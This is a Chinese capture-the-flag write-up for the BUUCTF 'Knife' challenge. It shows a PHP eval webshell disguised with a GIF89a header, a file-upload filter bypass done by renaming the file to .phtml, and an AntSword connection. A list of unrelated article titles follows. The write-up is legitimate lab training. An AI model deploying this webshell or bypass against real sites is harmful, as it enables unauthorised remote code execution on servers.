当前位置: 首页 > news >正文

[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

GIF89a
<script language='php'>@eval($_POST[shell]);</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
蚁剑连接
在这里插入图片描述
在这里插入图片描述
看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以

在这里插入图片描述
在这里插入图片描述

拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

http://www.dtcms.com/a/82239.html

相关文章:

  • [已解决]jupyter notebook报错 500 : Internal Server Error及notebook闪退
  • 清晰易懂的 Conda 彻底卸载与清理教程
  • 蓝桥杯学习-13回溯
  • Linux中的make与Makefile详解
  • Linux信号:一场内核与用户空间的暗战
  • QT笔记----QCheckBox
  • Debug-037-table列表勾选回显方案
  • jar包代码混淆
  • 【嵌入式】C语言中malloc()和calloc()的区别
  • kotlin 内联函数 inline
  • Python编写服务监控程序
  • Unity Shader编程】之透明物体渲染
  • 第五: redis 安装 / find 查找目录
  • JVM常用概念之身份哈希码
  • Apache SeaTunnel脚本升级及参数调优实战
  • 指令系统(2017统考真题)
  • 人工智能在电子信息工程信号处理中的应用调研
  • 离线黑客攻击之绕过BIOS/EFI
  • openstack安装部署
  • docker-存储卷-网络
  • 游戏MOD伴随盗号风险,仿冒网站借“风灵月影”窃密【火绒企业版V2.0】
  • 存算分离是否真的有必要?从架构之争到 Doris 实战解析
  • INT202 Complexity of Algroithms 算法的复杂度 Pt.2 Search Algorithm 搜索算法
  • Error: The resource name must start with a letter
  • 代码随想录第55期训练营第七天|LeetCode454.四数相加II、383.赎金信、15.三数之和、18.四数之和
  • 基于javaweb的SSM+Maven宠物领养宠物商城流浪动物管理系统与实现(源码+文档+部署讲解)
  • 【PCIe 总线及设备入门学习专栏 3.2 -- PCIe 在进行大数据搬运时是如何组包的?】
  • 【STM32实物】基于STM32的太阳能充电宝设计
  • Android adb调试应用程序
  • 【时时三省】(C语言基础)习题2 scanf函数